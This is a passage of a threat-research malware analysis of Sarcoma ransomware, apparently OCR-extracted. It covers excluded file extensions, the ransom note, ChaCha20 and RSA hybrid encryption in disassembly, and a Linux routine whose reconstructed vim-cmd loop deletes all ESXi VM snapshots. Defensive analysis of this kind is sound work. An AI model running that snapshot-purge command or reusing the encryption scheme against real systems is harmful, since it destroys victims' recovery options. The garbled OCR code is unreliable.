".cpl
‘.cur'
".deskthemepack'’

.diagcab’
.diagcfg'
.diagpkg'
dir

Ldrv'

'.exe'
"hip'

“icl'

.icns'
.ico
.ics'
.idx'

"Ink'

.mod'
.mpa’
.msc'

.msp'
.msstyles'
.msu
.nls'

.nomedia’
.ocx'

"prf'

.rom'

"rtp’

.scr'
.shs'
.spl'
.Sys'

".theme'
"themepack’
.wpx'

"lock’

"key'

".hta'

.msi'

".pdb’
'.search-ms'
.man'

Table 2: Excluded Extensions

During this directory enumeration process, the malware extracts an embedded PDF file
containing its ransom note and writes that note in each folder and its subfolders using the
_write API call.
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BF9 moy ecx,edi
E8 73EIFFFF call <JMP &Lwr1te>
41:89C1 mov ro
48:98
41:83F9 FF Ele\Jd FFFFFF
~ 75 EQ ine GEEgcfeba5619b6f4dEDblZBladf969c87dB4SebaafBeBSCZSGFaOIaBZEFef51 493840
41:FFD4 €all riz
8338 04 cmp dword rds: [rax] .
-~ 74 EQ e 6669cfe a5619be4dBOblZBladf€69CE*dB45ebaaf9e83c25&fa01a526 e751.493848
48:8%€8 muv rax,rbp
48:2%08
48:83C4 20
3B
5E
5F
5D
41:5C
c3
OFLF80 00000000 T e
48:8%€8
48:83c4 20
5B
5E
3F
5D
. R A1-5

<IMP.& write>

. Text:0000000000493850 6669cteba5619b6T4d80b1281adte69c87dE45ebaatdeB3c25etallaB267e751. exe: 593850 #92¢50

Woump . #ump . $ump: Wump:  @ump! % fedil locale & strud
Indirizzo Hex ASCIT
000000006023¢25 50 44 462D 31 2E 37| 0A 31 20 30|20 GF 62 6A &POF-1.7.1 0 obj
000000000060237 0A 3C 3C 20(2F 54 79 70|65 20 2F 43|61 74 61 6C|.<< /Type /Catal
00000000006023{ 6F 67 0A 2F|4F 75 74 6C|69 6E 65 73|20 32 20 30| 0g. /Outlines 2 0
00000000006023¢ 20 52 0A 2F|50 61 67 65|73 20 33 2030 20 52 20| R./Paaes
000000000060234 3E 3E 0A 65(6E 64 6F 62/ 6A 0a 32 20|30 20 6F 62|>>.endobi.2 0 ob
00000000006023F 6A DA 3C 3C|20 2F 54 79|70 65 20 2F|4F 75 74 6C|j.<< /Type /outl
00000000006023¢ 69 6E 65 73|20 2F 43 6F|75 6E 74 20|30 20 3E 3E|nes /Count O >»
00000000006023[ 0A 65 6E 64|6F 62 6A 0A|33 20 30 20|6F 62 6A 0A| .endobi.3 0 obi.
0000000000602 3C 3C 20 2F|54 79 70 6520 2F 50 61|67 65 73 0A << /TvDe /Pages
000000000060, F 4B 69 64|73 20 5B 36|20 30 20 52|0A 5D 0A 2F| /kids [6 0 R.T.
00000000006021 43 6F 75 6E|74 20 31 0A|2F 52 65 73|6F 75 72 63| Count 1. /Resourc
000000000060247 65 72 20 3€|3C 0A 2F 50|72 &F 63 53|65 74 20 34| es <<. /Procset 4
000000000060247 20 30 20 52|0A 2F 46 6F 6E 74 20 3C|3C 20 0A 2F 0 R.fFort, << ./
00000000006024146 31 20 38|20 30 20 52|0A 2F 46 32|20 31 33 20| F £2 13
000000000060244 20 20 52 0A|3E 3E DA 2F 58 4F 62 6A 65 63 74 20
00000000006024 1 3C 3C 20 0A|2F 49 31 20 31 38 20 30/20 52 0A 2F
000000000060244 49 32 20 31|39 20 30 20|52 DA 2F 49|33 20 32 38|L
000000000060247 20 30 20 52(DA 2F 49 34/20 32 39 20|30 20 52 0a
900000000060241 2F 49 35 20|33 32 20 3020 52 04 2F|49 36 20 33(/

Figure 11: Ransom note extration

This PDF contains the ransom note and it looks like the following:

.. SQrcoma
. Qroup

Your company is in a critical situation.

File usage is temporarily unavailable

Backups have been destroyed.

Databa have been exported.

Data from your storages is stolen and will be published on our website or sold on the
darknet.

Sarcoma Group is the sole owner of the file restorer for your company.

Inform the boss of the company what happened ASAP.

If you want to purchase the restorer contact us, we will prepare a good price for you.
If we are not contacted by the company representat the data will be automatically
realized after 7 days.

Install Tor browser from
Link to DLS

Figure 12: Piece of the ransom note

Returning to the encryption routine, the malware uses a combination of RSA and ChaCha20
encryption to render the files inaccessible. RSA asymmetric encryption protects the
symmetric ChaCha20 key.
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[

F3:0F6F05 986A2700
48:8881 88000000
F3:0F6F 48 40
F3:0F6F50 50

0OF 1100

0OF1148 10

OF 1150 20

8821 20000000
48:8881 88000000

- P
movdqu xmmO , xmmword ptr s : [6A6450 ]
mov rax ,qword ptr ds: [rc ]

movdqu xmml , xmmword ptr
movdqu xmm2 , xmmword ptr
movups xmmword ptr
movups xmmword ptr
movups xmmword ptr
mov edx ,dword ptr
mov rax ,qword ptr

00000000006A6450: "expand 32-byte kchacha_avx.cpp”

"expand 32-byte kchacha_awvx.cpp”

8950 30 mov dword ptr ds:[rax+30]

31D2 xor edx ,edx

4D : 85CO test r8,rs

v 74 03 je 6669cfebas619b6f4d80b1281adfe69c87d845 ebaafoe

41:8B10 mov edx ,dword ptr ds:[rs8]

8350 34 mov dword ptr ds: edx

41:8850 04 mov edx ,dword ptr 4]

8950 38 mov dword ptr ds:[r edx

41:8850 08 mov edx ,dword ptr d 8

8950 3C mov dword ptr ds:[rax+3C],edx

c3 ret

41 :87 nush ris

Figure 13: Dynamic view of Chacha20 Encryption

0o8000000042F960 ; _DWORD *_ tastcall sub_42F5B8(__ inted,
PEREDOBRRA42FIBE sub 42FIBE proc near
BEeEREREREL2FIBR ;
BERERREREE42FIER movdqu  xmm@, xmmword ptr cs:aExpand32Bytekc ;
DeReRRERER42FIBESE mov rax, [rcxt+8sh]
BeReRRERER42FIBF movdgqu xmml, xmmword ptr [rax+48h]
BOBODEERER4ZFICE movdqu xmm2, xmmword ptr [rax+5@h]
PEBEBOBBBRL ZFACY movups xmmword ptr [rax], xmm@
BEBEBOEBBEL 2FACC movups xmmword ptr [rax+1®8h], xmml
BeReEREREE42FIDE movups xmmword ptr [rax+28h], xmm2
0epeRREREE42FIDS mov edx, [roxtoeh]
BeREREERRA42FADA mov rax, [rcx+88h]
BOBO0EERER42ZFIEL mov [rax+3@h], edx
PEBREDBOREL2FIEL xor edx, edx
BEpERERERRL2FIES test ré, ré
PREOBEEREBL2ZFIED jz short loc 42F9EE
PREERERRRBL2FIED mow edx, [ra]
BaBoREREEBL2FIEE
BOBODEERBR42FIEE loc_42FIEE: ; CODE XREF: sub_42F3B@4+391]
PEBEDOERBBL 2FIEE mov [rax+34h], edx
BEpEREREREL2FIFL mov edx, [ra+4]
BeReRRARABL2FIFS mov [rax+38h], edx
BReERERRBBL2FIFE mav edx, [ra+a]
BeREREERRE42FAFC mov [rax+3Ch], edx
eaaoee00B842F9FF retn
PEPEDOBRBB42FIFF sub_ 42FIB@ endp
BEpERERERRL2ZFIFF

Figure 14: Static view of the Chacha20 Encryption

One of the most notable parts of the code reveals the ransomware’s use of ChaCha20, a
fast and secure stream cipher known for its efficiency and resistance to timing attacks.

Although the implementation isn’t explicitly labeled, the structure of the operations and the

presence of 32-bit word expansions strongly suggest it. These operations mirror how

ChaCha20 expands its 256-bit key into a larger internal state before beginning encryption.

To ensure the random key is protected, the ransomware immediately encrypts the symmetric
key using public-key cryptography by calling the Crypto++ function
N8CryptoPP11RSAFunctionE.

1

LTTLDSE WED, ) (=

if ({ !stromp(zaz, "ValueNames") )

mw_cast_string({a2, & typeinfeo for'std::string);

if { !{unsigned

sub_4@FCa8(al, a2, a3, a
= sub _5BBB38(ad4, "ThisPointer:");
*Jsub_5B@E3LB({v9, "NBCryptoPPllRSAFunctiongE™);

/18 = (_QWORD
/11 = vie[1];

__intd3)mw_stremp(& typeinfo for'CryptoPP::RSAFunction) )

;);
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Figure 15: Static View of the CryptoPP RSA Function

41:55 push ri3

41:54 push riz

1 push rbp
L] 57 push rdi
. 56 push rsi
L ] 53 push rbx
L ] 48:83EC 38 sub rsp,3s8
L 48:8D0 3D 6F5922900 lea rdi,gword ptr ds : [6A5602 ] 0000000000645 602 "ValueNames™
- 49: 89CD mov ri3,rcx
L ] 48:83D6 mov rsi,rdx
L E3 0B OOO0O00 mov ecx,B 0B: "W
L] 48: 89D5 mov rbp,rdx
L ] F3:A6 repe cmpsb
L ] 4C : 89C3 mov rbx,rs
] 4D @ 89CC mov riz,r9
L ] OF 97 CO seta al

1C 00 sbb al,o

84C0O test al,al

~ OF 84 5A010000 je 6669cfeba5619b6T4d80b1281adfe69c87da45ebaafse:

B9 0C 000000 mov ecx ,C oc: "\F'
[ ] 48:8D 3D 4B522300 lea rdi ,gword ptr ds:[6AS60D ] 00000000006A5 600 : "ThisPointer: ™
L ] 48:83D6 mov rsi,rdx
L ] F3:A6 repe cmpsb
- OF 97 CO seta al
L 1C 00 sbb al,0
L B4CO test al,al
- ~ OF84 8C 000000 je e669cfebase19b6T4d80b1281adfe6c9c87da4sebaafe:

48: 8015 CS5C82B00 lea rdx ,gword ptr ds:[6CCSAD ]

48:83D1 mov rcx ,rdx

ES EDA7 1400 €@l e669cfebase19b6T4ds0blzs1adfe69cs7d845 ebaaf:

RACN tact al al

Figure 16: Preparing the encryption of the Key with CryptoPP RSA

This approach, combining a fast symmetric cipher like ChaCha20 with a secure asymmetric
encryption scheme like RSA, is classic hybrid encryption and very common in ransomware.
Generally, the benefits are as follows:

e Speed: Symmetric ciphers like ChaCha20 are extremely fast and well-suited for
encrypting large amounts of data, such as files or even entire disks.

e Security: By encrypting the symmetric key with RSA, attackers ensure that only
someone with the private key (i.e., themselves) can decrypt the victim’s files—even if
the malware sample is fully reverse-engineered.

When the encryption finishes, if the debug flag is enabled, the malware also logs all
encryption statistics.

3UU_JH4ULUHI J ¥

mv_print{&unk 6A2B@8, "Directories processed ", 22i64);
;226 = sub SE267B{&unk 6A2BBE, qword 7451BE);
sub SCEACE(v226);
mwW_print{Zunk_6A2B8E8, “"Files processed ", 16ie4);
s227 = sub_562670(&unk_BA2BBB, qword_7451A8);
sub SCEAC@(v227);
mw_print{&unk_sA2888, "Directories excluded ", 21i64);
;228 = sub Se267@(&unk_6A2BBE, qword 7451A8);
sub SCEACE(v228);
mw_print{&unk 6A2B88, "Files ewcluded ", 15i64);
/229 = sub_SE267B{&unk_GA2BBE, qword_745198);
sub SCEACE(v229);
mw_print{&unk_BA2B88, "Work time ", 18ied);
/230 = sub_561B7@(&unk_6A2B08);
mw_print{v23e, " seconds", 8ied4);
sub SCEACB(v238Y;
Figure 17: Final log
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Linux Version

The Linux version of the malware we obtained exhibits largely the same behavior and logic.
However, due to the different OS, it uses different APIs and libraries to perform its activities.
The Linux version is identified by the hash:

e 7eabaf07ca9ed77934b2398e898afe4eaal3d29022fcf5da33254769ad284d75

In this case, the ransomware authors skipped the network spreading routine but added
another routine aimed at infecting Hypervisor systems.

i

else if ( == "-' && v7[1] == 'k' && !v7[2] )// Check on the cmdline

{

= popen(
"IFS=$"\\n'; for i in $(vim-cmd wvmsvc/getallvms); do ii=$(echo $i | cut -d \" \" -fl); in=$(echo %ii | gr"
"ep -E ~[@-9]4%); vim-cmd vmsvc/snapshot.removeall $in 2:81; done;”,
)
if ( )
while ( fgets(s, 4896, 1)

Figure 18: vim-cmd to interact with the hypervisor

The reconstructed command is the following:

IFS=$"\n"
for i in $(vim-cmd vmsvc/getallvms); do
ii=$(echo $i | cut -d " " -f1)

in=$(echo $ii | grep -E '~[0-9]+$%")
vim-cmd vmsvc/snapshot.removeall $in 2>&1
done

Code Snippet 5

This piece of code uses the vim-cmd, the VMware's native CLI tool. It loops through the
output of vim-cmd vmsvc/getallvms, extracts each VM’s numeric ID, and invokes vim-cmd
vmsvc/snapshot.removeall <ID> to purge all associated snapshots. From a threat
perspective, this technique is a textbook example of "anti-recovery" behavior seen in ESXi-
focused ransomware strains. By wiping snapshots before encryption or shutdown, the
attacker severely limits the victim’s ability to roll back or recover data without external
backups.

For the encryption routine, the malware adopts another linux-compatible library, the
LibTomCrypt library; the logic is quite the same.
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if ( !pthread_attr_init{v23) )
*(_DWORD *){({char *)gword_6D76E® + w52} = vid;

if ( !pthread_attr_setdetachstate(v2z, 1) )
pthread_create(

(void *(*)(wvoid *))mw_threaded encryptFile,
(char *)gword_6DJGE® + wiE2};

Figure 19: Multithreaded encryption

The malware cycles inside a series of pre-configured directories, and enumerates every file,
keeping attention to exclude a series of extensions.

"cfg"
g gn

"bee"

"voo"

"vel"

"ve2"

"ve3"

"ve4"

"ves"

"vee"

"ve7"

"teo"

"gz"

"tgz"

"

"386"

"adv"

"ani"

"bat"

"bin"

"cab"

"cmd"

"com"

"epl”

"cur"
"deskthemepack™"
"diagcab"
"diagcfg"
"diagpkg"

"d1i1l"
"drv"
"exe"
"hlp"
"icl"
"icns
"ico"
"ics"
"idx"
"lnk"
"mod"
"mpa"
"msc"
"msp"
"msstyles”

n
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"msu"
"nls"
"nomedia”
"ocx"
"orf"
"rom"
"rtp"
"scr"
"shs"
"spl"
"sys"
"theme"
"themepack"
"Wpx"
"lock"
"key"
"hta"
"msi"
"pdb"
"search-ms"
man"

Table 3: Excluded extension in Linux version

Notably, most of these are the same as those seen in the Windows version, with the addition
of many related to disk volumes, which are more commonly used in Linux-like environments.

As mentioned, the malware adopts the same encryption logic as the Windows version but
uses a different library.

The first step is to generate a random symmetric key for the ChaCha20 algorithm using a
pseudorandom number generator (PRNG).

if ( fal )
sub_4@88568("prng '= NULL", "src/misc/crypt/crypt_register prng.c”, 25);
2= g
/3 = gword_6D54C8;
do

1
Figure 20: Retrieving the PRNG provider

Then, it prepare the first stage of encryption with the chacha20 algorithm:
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. -
1f55b;358259("key I= NULL", "src/encauth/chachapoly/chacha2epolyl385 memory.c”, 41);
i 1

1f55b;33825@("iv I= NULL™, "src/encauth/chachapoly/chacha28polyl1365 memory.c”, 42};
i 1

lfsgbijgﬂgﬁe("in I= NULL™, "src/encauth/chachapoly/chacha28polyl1385 memory.c”, 43};
i 1ag9

lfsgb;:éﬂgﬁﬁ("nut I= NULL", "src/encauth/chachapoly/chacha2@8polyl385_memory.c”, 44);
. T

lfsEb;:éESéﬁ("tag I= NULL", "src/encauth/chachapoly/chacha2@8poly1385_memory.c”, 45);
result = sub_4BCe28(v17, al, al);

if  !'{_DWORD}result )

result = sub_48514@(vl7, a3, ad);
if { !{ _DWORD)result )
if ( !'as || !ae || (result = sub_4eC31@(v17, a5, ac), !( DWORD)result) )

e P

Figure 21: Chacha20 in Linux version
After the first stage of encryption, the malware protects the generated random symmetric key
using the RSA algorithm.

7 = malloc(@x400u);

if (v7)

{
6 = (__int64 s
pthread_mutex_lock(&mutex);
if ( (unsigned irft)mw_RSA_encrypt(

7
21 = (void *)mwv_wrap_RSA_encrypt(Frof o
22 = (void *|)mw_wrap_RSA_encrypt(KC8); 1;’
ptr = (void *|)mw_wrap_RSA_encrypt(}2X); é"
fseek(v12, 0,277 O’
fwrite(v21, 1u, val, vi2); (’ nt64)ptr + 17656 * a4,
free(val); *((Joword *)qword_6D76C0 + a4),
Saniivldy W 2N dwold_607770
fwrite(v22, 1u, v4e, v12); 2 - ~
2
(__Jint64)8&unk_6D77A0) )
{ .
) = (void *)v6;
¥ ¢ 1sec )
sub_408560("in != NULL", "src/pk/rsa/rsa_encrypt_key.c", 41);
if ( !a3)
sub_408560("out != NULL", “"src/pk/rsa/rsa_encrypt_key.c", 42);
if ( 1ad )
sub_408560("outlen != NULL", “"src/pk/rsa/rsa_encrypt_key.c", 43);
if ( Ta11 )

sub_408560(4364753, "src/pk/rsa/rsa_encrypt_key.c", 44);
LODWORD(v13) = 24;
if ( (unsigned int)(al@ - 1) <=1)
sub_40CBFO(as, a2, 24);

if (s )

if ( a1@ != 2 || (v17 = sub_4@CBCO(a9, a2, v15), (v13 = v17) == @) )
s

Figure 22: RSA encryption in Linux version

At the end of the encryption phase, there is the same log stats printing.
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clocﬁ;gettzme{l, i;?Ejj

w55 = (double){LODWORD(v72.tv_nsec) - LODWORD(tp.tv _nsec)) / lecoazooos.e
+ (double){LODWORD(v72.tv_sec) - LODWORD(tp.twv_sec));

printf({"Directories processed ¥11d\n", count_of listed folders};

printf({"Files processed ¥11d\n", count_of_encrypted_files);

printf({"Files excluded ¥11d%n", count_of excluded files);

printf({"Work time ¥.2f seconds\n™, v55};

Figure 23: Stats log in linux version
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Conclusion

Sarcoma Ransomware has emerged as one of the most active and concerning ransomware
groups in recent months. First detected in October 2024, it has rapidly evolved from an
emerging threat into a major concern for the cybersecurity community. In a short time, it has
drawn significant attention due to its aggressive pace of operations and a rising number of
successful compromises affecting organizations across multiple sectors and regions.

Sarcoma Ransomware operates with a notably low profile, as there is little public information
available about its full attack chain, and only a limited number of samples have been
observed in the wild. This scarcity may point to the group's use of advanced evasion
techniques designed to avoid detection and complicate attribution. Their targeting strategy,
focusing on small and medium-sized enterprises (SMES), suggests an opportunistic model,
potentially leveraging partnerships with Initial Access Brokers (IABs). These brokers enable
entry by exploiting exposed services, misconfigurations, or stolen credentials, allowing the
ransomware group to concentrate its efforts on rapid deployment and extortion.

It's noteworthy how the Sarcoma group's operations intersect with CIS (Commonwealth of
Independent States) countries. The CIS countries are a regional organization formed after
the dissolution of the Soviet Union, consisting of several former Soviet republics. The term
"Russian CIS countries" usually refers to CIS members that maintain strong political,
economic, or cultural ties with Russia. However, the official CIS members as of May 2025
are:

Official members of the CIS:

e Russia
e Belarus
e Armenia

e Azerbaijan

e Kazakhstan

e Kyrgyzstan

e Tajikistan

e Uzbekistan
Many ransomware groups deliberately avoid infecting systems located in CIS countries for
several strategic and operational security reasons:

1. Avoiding legal and enforcement issues
Most of these groups are based in or have ties to former Soviet states, particularly
Russia, Belarus, or other CIS countries. Avoiding attacks on systems in these
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countries helps them stay under the radar of local authorities, who often tolerate, or
overlook, cybercriminal activities as long as they don’t target national or regional
interests.

2. Technical exclusion mechanisms
To implement this strategy, ransomware often includes automatic checks during
execution:

e Verifying keyboard language layout (e.g., excluding Russian or Uzbek
layouts)

e Checking time zone, locale settings, or IP-based geolocation

e In some cases, the malware self-deletes or exits if it detects that it is running
on a system located in a CIS country

3. Established tactic
This behavior isn’t new; it's common among well-known groups such as Conti,
LockBit, REvil, and many others. The goal is to operate “from home” with impunity
while targeting Western organizations, where ransom payments are more likely and
law enforcement pressure is less direct for actors based in CIS countries.

In short, excluding CIS countries is a defensive and strategic measure to ensure the group’s
operational survival and reduce the risk of local law enforcement intervention.

In the case of the Sarcoma group, the samples we analyzed do not implement exclusion
mechanisms for CIS countries, except for Uzbekistan.

This is far from a trivial detail and may reflect the group's boldness, suggesting they do not
fear retaliation from investigators in Moscow. However, at present, there is no public
evidence indicating that the Sarcoma ransomware group has actively targeted organizations
located in CIS countries.

Sarcoma has impacted a broad array of sectors and geographies, with major incidents
including the breach of Taiwan-based Unimicron, resulting in 40 GB of exfiltrated data, and a
160 GB breach of New Zealand’s The ToolShed. These attacks illustrate a capability to
disrupt operations and steal valuable data from well-established firms. As a result,
cybersecurity professionals highlight the need for improved defenses, especially timely
patching, effective network segmentation, and robust employee awareness programs to
defend against such sophisticated threats.
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